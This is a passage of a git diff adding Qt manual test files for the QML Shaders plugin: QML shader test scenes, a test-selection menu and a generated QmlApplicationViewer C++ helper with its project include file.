+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+import QtQuick 1.0
+import Qt.labs.shaders 1.0
+
+Rectangle {
+ anchors.fill: parent;
+ color: "black"
+
+ Rectangle {
+ id: rect;
+ anchors.centerIn: parent
+ width: 1
+ height: 10
+
+ gradient: Gradient {
+ GradientStop { position: 0; color: "#ff0000" }
+ GradientStop { position: 0.5; color: "#00ff00" }
+ GradientStop { position: 1; color: "#0000ff" }
+ }
+ }
+
+ Text {
+ id: text
+ anchors.centerIn: parent
+ font.pixelSize: 80
+ text: "Shaderz!"
+ }
+
+ ShaderEffectSource {
+ id: maskSource
+ sourceItem: text
+ hideSource: true
+ }
+
+ ShaderEffectSource {
+ id: colorSource
+ sourceItem: rect;
+ hideSource: true
+ }
+
+ ShaderEffectItem {
+ anchors.fill: text;
+
+ property variant colorSource: colorSource
+ property variant maskSource: maskSource;
+
+ fragmentShader: "
+ uniform lowp sampler2D maskSource;
+ uniform lowp sampler2D colorSource;
+ varying highp vec2 qt_TexCoord0;
+ void main() {
+ gl_FragColor = texture2D(maskSource, qt_TexCoord0).a * texture2D(colorSource, qt_TexCoord0.yx);
+ }
+ "
+ }
+}
diff --git a/tests/manual/declarative/qmlshadersplugin/qml/qmlshadersplugintest/TestVertexShader.qml b/tests/manual/declarative/qmlshadersplugin/qml/qmlshadersplugintest/TestVertexShader.qml
new file mode 100644
index 00000000..e808038a
--- /dev/null
+++ b/tests/manual/declarative/qmlshadersplugin/qml/qmlshadersplugintest/TestVertexShader.qml
@@ -0,0 +1,109 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QML Shaders plugin of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+import QtQuick 1.0
+import Qt.labs.shaders 1.0
+
+Rectangle {
+ anchors.fill: parent;
+ color: "red"
+
+ Timer {
+ running: true
+ interval: 2000
+ repeat: true
+ onTriggered: {
+ effect.vertexShader == effect.defaultVertexShader ? effect.vertexShader = effect.dummyVertexShader : effect.vertexShader = effect.defaultVertexShader
+ }
+ }
+
+ ShaderEffectItem {
+ id: effect
+ anchors.fill: parent;
+
+ property string defaultVertexShader: "
+ uniform highp mat4 qt_ModelViewProjectionMatrix;
+ attribute highp vec4 qt_Vertex;
+ attribute highp vec2 qt_MultiTexCoord0;
+ varying highp vec2 qt_TexCoord0;
+ void main(void)
+ {
+ qt_TexCoord0 = qt_MultiTexCoord0;
+ gl_Position = qt_ModelViewProjectionMatrix * qt_Vertex;
+ }
+ "
+
+ property string dummyVertexShader: "
+ uniform highp mat4 qt_ModelViewProjectionMatrix;
+ attribute highp vec4 qt_Vertex;
+ attribute highp vec2 qt_MultiTexCoord0;
+ varying highp vec2 qt_TexCoord0;
+ void main(void)
+ {
+ qt_TexCoord0 = qt_MultiTexCoord0;
+ gl_Position = qt_Vertex * vec4(0.0, 0.0, 0.0, 0.0001);
+ }
+ "
+
+ vertexShader: defaultVertexShader
+
+ fragmentShader: "
+ varying highp vec2 qt_TexCoord0;
+ void main() {
+ gl_FragColor = vec4(0.0, 1.0, 0.0, 1.0);
+ }
+ "
+
+ }
+
+ Rectangle {
+ width: parent.width
+ height: 40
+ color: "#cc000000"
+
+ Text {
+ id: label
+ anchors.centerIn: parent
+ text: effect.vertexShader == effect.defaultVertexShader ? "Effect (display shoud be green)" : "Effect (display shoud be red)"
+ color: "white"
+ font.bold: true
+ }
+ }
+}
diff --git a/tests/manual/declarative/qmlshadersplugin/qml/qmlshadersplugintest/TestVerticalWrap.qml b/tests/manual/declarative/qmlshadersplugin/qml/qmlshadersplugintest/TestVerticalWrap.qml
new file mode 100644
index 00000000..5fdfd01c
--- /dev/null
+++ b/tests/manual/declarative/qmlshadersplugin/qml/qmlshadersplugintest/TestVerticalWrap.qml
@@ -0,0 +1,92 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QML Shaders plugin of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+import QtQuick 1.0
+import Qt.labs.shaders 1.0
+
+Rectangle {
+ anchors.fill: parent;
+ color: "white"
+
+ Timer {
+ running: true
+ interval: 2000
+ repeat: true
+ onTriggered: {
+ theSource.wrapMode == ShaderEffectSource.RepeatVertically ? theSource.wrapMode = ShaderEffectSource.ClampToEdge : theSource.wrapMode = ShaderEffectSource.RepeatVertically
+ }
+ }
+
+ ShaderEffectSource {
+ id: theSource
+ sourceItem: Image { source: "image_small.png" }
+ live: false
+ hideSource: true
+ }
+
+ ShaderEffectItem {
+ id: effect
+ anchors.fill: parent;
+ property variant source: theSource
+ fragmentShader: "
+ uniform lowp sampler2D source;
+ varying highp vec2 qt_TexCoord0;
+ void main() {
+ highp vec2 tex = qt_TexCoord0 * 4.0;
+ gl_FragColor = texture2D(source, tex);
+ }
+ "
+
+ }
+
+ Rectangle {
+ width: parent.width
+ height: 40
+ color: "#cc000000"
+
+ Text {
+ id: label
+ anchors.centerIn: parent
+ text: theSource.wrapMode == ShaderEffectSource.RepeatVertically ? "Wrap RepeatVertically" : "VerticalWrap ClampToEdge"
+ color: "white"
+ font.bold: true
+ }
+ }
+}
diff --git a/tests/manual/declarative/qmlshadersplugin/qml/qmlshadersplugintest/TestWrapRepeat.qml b/tests/manual/declarative/qmlshadersplugin/qml/qmlshadersplugintest/TestWrapRepeat.qml
new file mode 100644
index 00000000..45b0441e
--- /dev/null
+++ b/tests/manual/declarative/qmlshadersplugin/qml/qmlshadersplugintest/TestWrapRepeat.qml
@@ -0,0 +1,92 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QML Shaders plugin of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+import QtQuick 1.0
+import Qt.labs.shaders 1.0
+
+Rectangle {
+ anchors.fill: parent;
+ color: "white"
+
+ Timer {
+ running: true
+ interval: 2000
+ repeat: true
+ onTriggered: {
+ theSource.wrapMode == ShaderEffectSource.Repeat ? theSource.wrapMode = ShaderEffectSource.ClampToEdge : theSource.wrapMode = ShaderEffectSource.Repeat
+ }
+ }
+
+ ShaderEffectSource {
+ id: theSource
+ sourceItem: Image { source: "image_small.png" }
+ live: false
+ hideSource: true
+ }
+
+ ShaderEffectItem {
+ id: effect
+ anchors.fill: parent;
+ property variant source: theSource
+ fragmentShader: "
+ uniform lowp sampler2D source;
+ varying highp vec2 qt_TexCoord0;
+ void main() {
+ highp vec2 tex = qt_TexCoord0 * 4.0;
+ gl_FragColor = texture2D(source, tex);
+ }
+ "
+
+ }
+
+ Rectangle {
+ width: parent.width
+ height: 40
+ color: "#cc000000"
+
+ Text {
+ id: label
+ anchors.centerIn: parent
+ text: theSource.wrapMode == ShaderEffectSource.Repeat ? "Wrap Repeat" : "Wrap ClampToEdge"
+ color: "white"
+ font.bold: true
+ }
+ }
+}
diff --git a/tests/manual/declarative/qmlshadersplugin/qml/qmlshadersplugintest/back.svg b/tests/manual/declarative/qmlshadersplugin/qml/qmlshadersplugintest/back.svg
new file mode 100644
index 00000000..3005133b
--- /dev/null
+++ b/tests/manual/declarative/qmlshadersplugin/qml/qmlshadersplugintest/back.svg
@@ -0,0 +1,11 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Generator: Adobe Illustrator 14.0.0, SVG Export Plug-In . SVG Version: 6.00 Build 43363) -->
+<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
+<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px"
+ width="30px" height="30px" viewBox="0 0 30 30" enable-background="new 0 0 30 30" xml:space="preserve">
+<rect fill="none" width="30" height="30"/>
+<path fill="#FFFFFF" d="M19,8h-9V5c0-0.389-0.225-0.74-0.576-0.906C9.289,4.031,9.145,4,9,4C8.771,4,8.543,4.079,8.359,4.231
+ l-6,5.001C2.132,9.422,2,9.703,2,10s0.132,0.578,0.359,0.768l6,5C8.543,15.921,8.771,16,9,16c0.145,0,0.289-0.031,0.424-0.094
+ C9.775,15.741,10,15.389,10,15v-3h9c2.757,0,5,2.243,5,5s-2.243,5-5,5h-6.917c-1.104,0-2,0.896-2,2s0.896,2,2,2H19
+ c4.963,0,9-4.037,9-9S23.963,8,19,8z"/>
+</svg>
diff --git a/tests/manual/declarative/qmlshadersplugin/qml/qmlshadersplugintest/green_image_transparent.png b/tests/manual/declarative/qmlshadersplugin/qml/qmlshadersplugintest/green_image_transparent.png
new file mode 100644
index 00000000..f3024f7e
--- /dev/null
+++ b/tests/manual/declarative/qmlshadersplugin/qml/qmlshadersplugintest/green_image_transparent.png
Binary files differ
diff --git a/tests/manual/declarative/qmlshadersplugin/qml/qmlshadersplugintest/image.png b/tests/manual/declarative/qmlshadersplugin/qml/qmlshadersplugintest/image.png
new file mode 100644
index 00000000..144c02d5
--- /dev/null
+++ b/tests/manual/declarative/qmlshadersplugin/qml/qmlshadersplugintest/image.png
Binary files differ
diff --git a/tests/manual/declarative/qmlshadersplugin/qml/qmlshadersplugintest/image_opaque.png b/tests/manual/declarative/qmlshadersplugin/qml/qmlshadersplugintest/image_opaque.png
new file mode 100644
index 00000000..c73d3892
--- /dev/null
+++ b/tests/manual/declarative/qmlshadersplugin/qml/qmlshadersplugintest/image_opaque.png
Binary files differ
diff --git a/tests/manual/declarative/qmlshadersplugin/qml/qmlshadersplugintest/image_small.png b/tests/manual/declarative/qmlshadersplugin/qml/qmlshadersplugintest/image_small.png
new file mode 100644
index 00000000..b2267737
--- /dev/null
+++ b/tests/manual/declarative/qmlshadersplugin/qml/qmlshadersplugintest/image_small.png
Binary files differ
diff --git a/tests/manual/declarative/qmlshadersplugin/qml/qmlshadersplugintest/main.qml b/tests/manual/declarative/qmlshadersplugin/qml/qmlshadersplugintest/main.qml
new file mode 100644
index 00000000..4a5f6bdc
--- /dev/null
+++ b/tests/manual/declarative/qmlshadersplugin/qml/qmlshadersplugintest/main.qml
@@ -0,0 +1,236 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QML Shaders plugin of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+Item {
+ id: main
+ width: 360
+ height: 640
+
+ Rectangle {
+ id: background
+ visible: testCaseList.visible
+ anchors.fill: parent
+ gradient: Gradient {
+ GradientStop { position: 0.0; color: "#EEEEEE" }
+ GradientStop { position: 1.0; color: "#AAAAAA" }
+ }
+ }
+
+ Loader {
+ id: testLoader
+ width: parent.width
+ height: parent.height
+ visible: !testCaseList.visible
+ }
+
+ ListModel {
+ id: testcaseModel
+ ListElement { name: "TestEffectHierarchy.qml"; group: "Effect source property tests" }
+ ListElement { name: "TestGrab.qml"; group: "Effect source property tests" }
+ ListElement { name: "TestLive.qml"; group: "Effect source property tests" }
+ ListElement { name: "TestImageFiltering.qml"; group: "Effect source property tests" }
+ ListElement { name: "TestWrapRepeat.qml"; group: "Effect source property tests" }
+ ListElement { name: "TestHorizontalWrap.qml"; group: "Effect source property tests" }
+ ListElement { name: "TestVerticalWrap.qml"; group: "Effect source property tests" }
+ ListElement { name: "TestTextureSize.qml"; group: "Effect source property tests" }
+ ListElement { name: "TestItemMargins.qml"; group: "Effect source property tests" }
+ ListElement { name: "TestEffectInsideAnotherEffect.qml"; group: "Effect source property tests" }
+ ListElement { name: "TestItemMarginsWithTextureSize.qml"; group: "Effect source property tests" }
+ ListElement { name: "TestHideOriginal.qml"; group: "Effect source property tests" }
+ ListElement { name: "TestActive.qml"; group: "Effect item property tests" }
+ ListElement { name: "TestBlending.qml"; group: "Effect item property tests" }
+ ListElement { name: "TestBlendingModes.qml"; group: "Effect item property tests" }
+ ListElement { name: "TestOpacity.qml"; group: "Effect item property tests" }
+ ListElement { name: "TestFragmentShader.qml"; group: "Effect item property tests" }
+ ListElement { name: "TestVertexShader.qml"; group: "Effect item property tests" }
+ ListElement { name: "TestMeshResolution.qml"; group: "Effect item property tests" }
+ ListElement { name: "TestRotation.qml"; group: "Shader effect transformation tests" }
+ ListElement { name: "TestScale.qml"; group: "Shader effect transformation tests" }
+ ListElement { name: "TestBasic.qml"; group: "Scenegraph effect tests" }
+ ListElement { name: "TestOneSource.qml"; group: "Scenegraph effect tests" }
+ ListElement { name: "TestTwiceOnSameSource.qml"; group: "Scenegraph effect tests" }
+ ListElement { name: "TestTwoSources.qml"; group: "Scenegraph effect tests" }
+ }
+
+ Component {
+ id: sectionHeading
+ Rectangle {
+ width: testCaseList.width
+ height: 35
+ color: "#00000000"
+
+ Text {
+ text: section
+ verticalAlignment: Text.AlignVCenter
+ horizontalAlignment: Text.AlignLeft
+ anchors.fill: parent
+ anchors.leftMargin: 5
+ font.bold: true
+ style: Text.Raised
+ styleColor: "white"
+ }
+ }
+ }
+
+ ListView {
+ id: testCaseList
+
+ property int hideTranslation: 0
+ transform: Translate {
+ x: testCaseList.hideTranslation
+ }
+
+ anchors.fill: parent
+ anchors.topMargin: 10
+ anchors.leftMargin: 5
+ anchors.rightMargin: 5
+ anchors.bottomMargin: 10
+
+ model: testcaseModel
+ spacing: 3
+
+ state: "testStopped"
+
+ section.property: "group"
+ section.criteria: ViewSection.FullString
+ section.delegate: sectionHeading
+
+ delegate: Rectangle {
+ width: parent.width
+ height: 50
+ radius: 5
+ border.width: 1
+ border.color: "#888888"
+ color: delegateMouseArea.pressed ? "#AAAAFF" : "#FFFFFF"
+ Text {
+ id: delegateText;
+ text: " " + name
+ width: parent.width
+ height: parent.height
+ font.pixelSize: 16
+ verticalAlignment: Text.AlignVCenter
+ }
+ Text {
+ id: delegateText2;
+ text: "> "
+ width: parent.width
+ height: parent.height
+ font.pixelSize: 20
+ smooth: true
+ color: "gray"
+ verticalAlignment: Text.AlignVCenter
+ horizontalAlignment: Text.AlignRight
+ }
+
+ MouseArea {
+ id: delegateMouseArea
+ anchors.fill: parent;
+ onClicked: {
+ testCaseList.state = "testRunning"
+ testLoader.source = name
+ console.log(name)
+ }
+ }
+ }
+
+ states: [
+ State {
+ name: "testRunning"
+ PropertyChanges { target: testCaseList; visible: false; hideTranslation: -main.width }
+ },
+ State {
+ name: "testStopped"
+ PropertyChanges { target: testCaseList; visible: true; hideTranslation: 0 }
+ }
+ ]
+
+ transitions: [
+ Transition {
+ to: "testRunning"
+ SequentialAnimation {
+ NumberAnimation { properties: "hideTranslation"; easing.type: Easing.InQuad; duration: 300 }
+ PropertyAction { target: testCaseList; property: "visible"; value: false }
+ }
+ },
+ Transition {
+ to: "testStopped"
+ SequentialAnimation {
+ PropertyAction { target: testCaseList; property: "visible"; value: true }
+ NumberAnimation { properties: "hideTranslation"; easing.type: Easing.InQuad; duration: 300 }
+ }
+ }
+
+ ]
+ }
+
+ Rectangle {
+ visible: true
+ anchors.bottom: main.bottom
+ anchors.left: main.left
+ anchors.right: main.right
+ height: 40
+ color: "#cc000000"
+ Item {
+ anchors.top: parent.top
+ anchors.topMargin: 5
+ anchors.left: parent.left
+ anchors.leftMargin: 20
+ Image {
+ source: "back.svg"
+ }
+ }
+
+ MouseArea {
+ anchors.fill: parent;
+ onClicked: {
+ if (testCaseList.visible){
+ Qt.quit()
+ } else if (!testCaseList.state != "testStopped") {
+ testCaseList.state = "testStopped"
+ testLoader.source = ""
+ }
+ }
+ }
+ }
+}
+
diff --git a/tests/manual/declarative/qmlshadersplugin/qml/qmlshadersplugintest/wallpaper.jpg b/tests/manual/declarative/qmlshadersplugin/qml/qmlshadersplugintest/wallpaper.jpg
new file mode 100644
index 00000000..5bc7b585
--- /dev/null
+++ b/tests/manual/declarative/qmlshadersplugin/qml/qmlshadersplugintest/wallpaper.jpg
Binary files differ
diff --git a/tests/manual/declarative/qmlshadersplugin/qmlapplicationviewer/qmlapplicationviewer.cpp b/tests/manual/declarative/qmlshadersplugin/qmlapplicationviewer/qmlapplicationviewer.cpp
new file mode 100644
index 00000000..b49fe0e8
--- /dev/null
+++ b/tests/manual/declarative/qmlshadersplugin/qmlapplicationviewer/qmlapplicationviewer.cpp
@@ -0,0 +1,168 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QML Shaders plugin of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+// checksum 0xdf1f version 0x10008
+#include "qmlapplicationviewer.h"
+
+#include <QtCore/QCoreApplication>
+#include <QtCore/QDir>
+#include <QtCore/QFileInfo>
+#include <QtDeclarative/QDeclarativeComponent>
+#include <QtDeclarative/QDeclarativeEngine>
+#include <QtDeclarative/QDeclarativeContext>
+
+#if defined(QMLJSDEBUGGER)
+#include <jsdebuggeragent.h>
+#endif
+#if defined(QMLOBSERVER)
+#include <qdeclarativeviewobserver.h>
+#endif
+
+#if defined(Q_OS_SYMBIAN) && defined(ORIENTATIONLOCK)
+#include <eikenv.h>
+#include <eikappui.h>
+#include <aknenv.h>
+#include <aknappui.h>
+#endif // Q_OS_SYMBIAN && ORIENTATIONLOCK
+
+class QmlApplicationViewerPrivate
+{
+ QString mainQmlFile;
+ friend class QmlApplicationViewer;
+ static QString adjustPath(const QString &path);
+};
+
+QString QmlApplicationViewerPrivate::adjustPath(const QString &path)
+{
+#ifdef Q_OS_UNIX
+#ifdef Q_OS_MAC
+ if (!QDir::isAbsolutePath(path))
+ return QCoreApplication::applicationDirPath()
+ + QLatin1String("/../Resources/") + path;
+#else
+ const QString pathInShareDir = QCoreApplication::applicationDirPath()
+ + QLatin1String("/../share/")
+ + QFileInfo(QCoreApplication::applicationFilePath()).fileName()
+ + QLatin1Char('/') + path;
+ if (QFileInfo(pathInShareDir).exists())
+ return pathInShareDir;
+#endif
+#endif
+ return path;
+}
+
+QmlApplicationViewer::QmlApplicationViewer(QWidget *parent) :
+ QDeclarativeView(parent),
+ m_d(new QmlApplicationViewerPrivate)
+{
+ connect(engine(), SIGNAL(quit()), SLOT(close()));
+ setResizeMode(QDeclarativeView::SizeRootObjectToView);
+#ifdef QMLJSDEBUGGER
+ new QmlJSDebugger::JSDebuggerAgent(engine());
+#endif
+#ifdef QMLOBSERVER
+ new QmlJSDebugger::QDeclarativeViewObserver(this, parent);
+#endif
+}
+
+QmlApplicationViewer::~QmlApplicationViewer()
+{
+ delete m_d;
+}
+
+void QmlApplicationViewer::setMainQmlFile(const QString &file)
+{
+ m_d->mainQmlFile = QmlApplicationViewerPrivate::adjustPath(file);
+ setSource(QUrl::fromLocalFile(m_d->mainQmlFile));
+}
+
+void QmlApplicationViewer::addImportPath(const QString &path)
+{
+ engine()->addImportPath(QmlApplicationViewerPrivate::adjustPath(path));
+}
+
+void QmlApplicationViewer::setOrientation(Orientation orientation)
+{
+#ifdef Q_OS_SYMBIAN
+ if (orientation != Auto) {
+#if defined(ORIENTATIONLOCK)
+ const CAknAppUiBase::TAppUiOrientation uiOrientation =
+ (orientation == LockPortrait) ? CAknAppUi::EAppUiOrientationPortrait
+ : CAknAppUi::EAppUiOrientationLandscape;
+ CAknAppUi* appUi = dynamic_cast<CAknAppUi*> (CEikonEnv::Static()->AppUi());
+ TRAPD(error,
+ if (appUi)
+ appUi->SetOrientationL(uiOrientation);
+ );
+#else // ORIENTATIONLOCK
+ qWarning("'ORIENTATIONLOCK' needs to be defined on Symbian when locking the orientation.");
+#endif // ORIENTATIONLOCK
+ }
+#elif defined(Q_WS_MAEMO_5)
+ Qt::WidgetAttribute attribute;
+ switch (orientation) {
+ case LockPortrait:
+ attribute = Qt::WA_Maemo5PortraitOrientation;
+ break;
+ case LockLandscape:
+ attribute = Qt::WA_Maemo5LandscapeOrientation;
+ break;
+ case Auto:
+ default:
+ attribute = Qt::WA_Maemo5AutoOrientation;
+ break;
+ }
+ setAttribute(attribute, true);
+#else // Q_OS_SYMBIAN
+ Q_UNUSED(orientation);
+#endif // Q_OS_SYMBIAN
+}
+
+void QmlApplicationViewer::show()
+{
+#ifdef Q_OS_SYMBIAN
+ showFullScreen();
+#elif defined(Q_WS_MAEMO_5) || defined(Q_WS_MAEMO_6)
+ showMaximized();
+#else
+ QDeclarativeView::show();
+#endif
+}
diff --git a/tests/manual/declarative/qmlshadersplugin/qmlapplicationviewer/qmlapplicationviewer.h b/tests/manual/declarative/qmlshadersplugin/qmlapplicationviewer/qmlapplicationviewer.h
new file mode 100644
index 00000000..8ba35e9d
--- /dev/null
+++ b/tests/manual/declarative/qmlshadersplugin/qmlapplicationviewer/qmlapplicationviewer.h
@@ -0,0 +1,69 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QML Shaders plugin of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+// checksum 0x39ee version 0x10008
+#ifndef QMLAPPLICATIONVIEWER_H
+#define QMLAPPLICATIONVIEWER_H
+
+#include <QtDeclarative/QDeclarativeView>
+
+class QmlApplicationViewer : public QDeclarativeView
+{
+public:
+ enum Orientation {
+ LockPortrait,
+ LockLandscape,
+ Auto
+ };
+
+ QmlApplicationViewer(QWidget *parent = 0);
+ virtual ~QmlApplicationViewer();
+
+ void setMainQmlFile(const QString &file);
+ void addImportPath(const QString &path);
+ void setOrientation(Orientation orientation);
+ void show();
+
+private:
+ class QmlApplicationViewerPrivate *m_d;
+};
+
+#endif // QMLAPPLICATIONVIEWER_H
diff --git a/tests/manual/declarative/qmlshadersplugin/qmlapplicationviewer/qmlapplicationviewer.pri b/tests/manual/declarative/qmlshadersplugin/qmlapplicationviewer/qmlapplicationviewer.pri
new file mode 100644
index 00000000..524d7c3f
--- /dev/null
+++ b/tests/manual/declarative/qmlshadersplugin/qmlapplicationviewer/qmlapplicationviewer.pri
@@ -0,0 +1,148 @@
+# checksum 0x5b42 version 0x70012
+# This file was generated by the Qt Quick Application wizard of Qt Creator.
+# The code below adds the QmlApplicationViewer to the project and handles the
+# activation of QML debugging.
+# It is recommended not to modify this file, since newer versions of Qt Creator
+# may offer an updated version of it.
+
+QT += declarative
+
+SOURCES += $$PWD/qmlapplicationviewer.cpp
+HEADERS += $$PWD/qmlapplicationviewer.h
+INCLUDEPATH += $$PWD
+
+# Include JS debugger library if QMLJSDEBUGGER_PATH is set
+!isEmpty(QMLJSDEBUGGER_PATH) {
+ include($$QMLJSDEBUGGER_PATH/qmljsdebugger-lib.pri)
+} else {
+ DEFINES -= QMLJSDEBUGGER
+}
+
+contains(CONFIG,qdeclarative-boostable):contains(MEEGO_EDITION,harmattan) {
+ DEFINES += HARMATTAN_BOOSTER
+}
+# This file was generated by an application wizard of Qt Creator.
+# The code below handles deployment to Symbian and Maemo, aswell as copying
+# of the application data to shadow build directories on desktop.
+# It is recommended not to modify this file, since newer versions of Qt Creator
+# may offer an updated version of it.
+
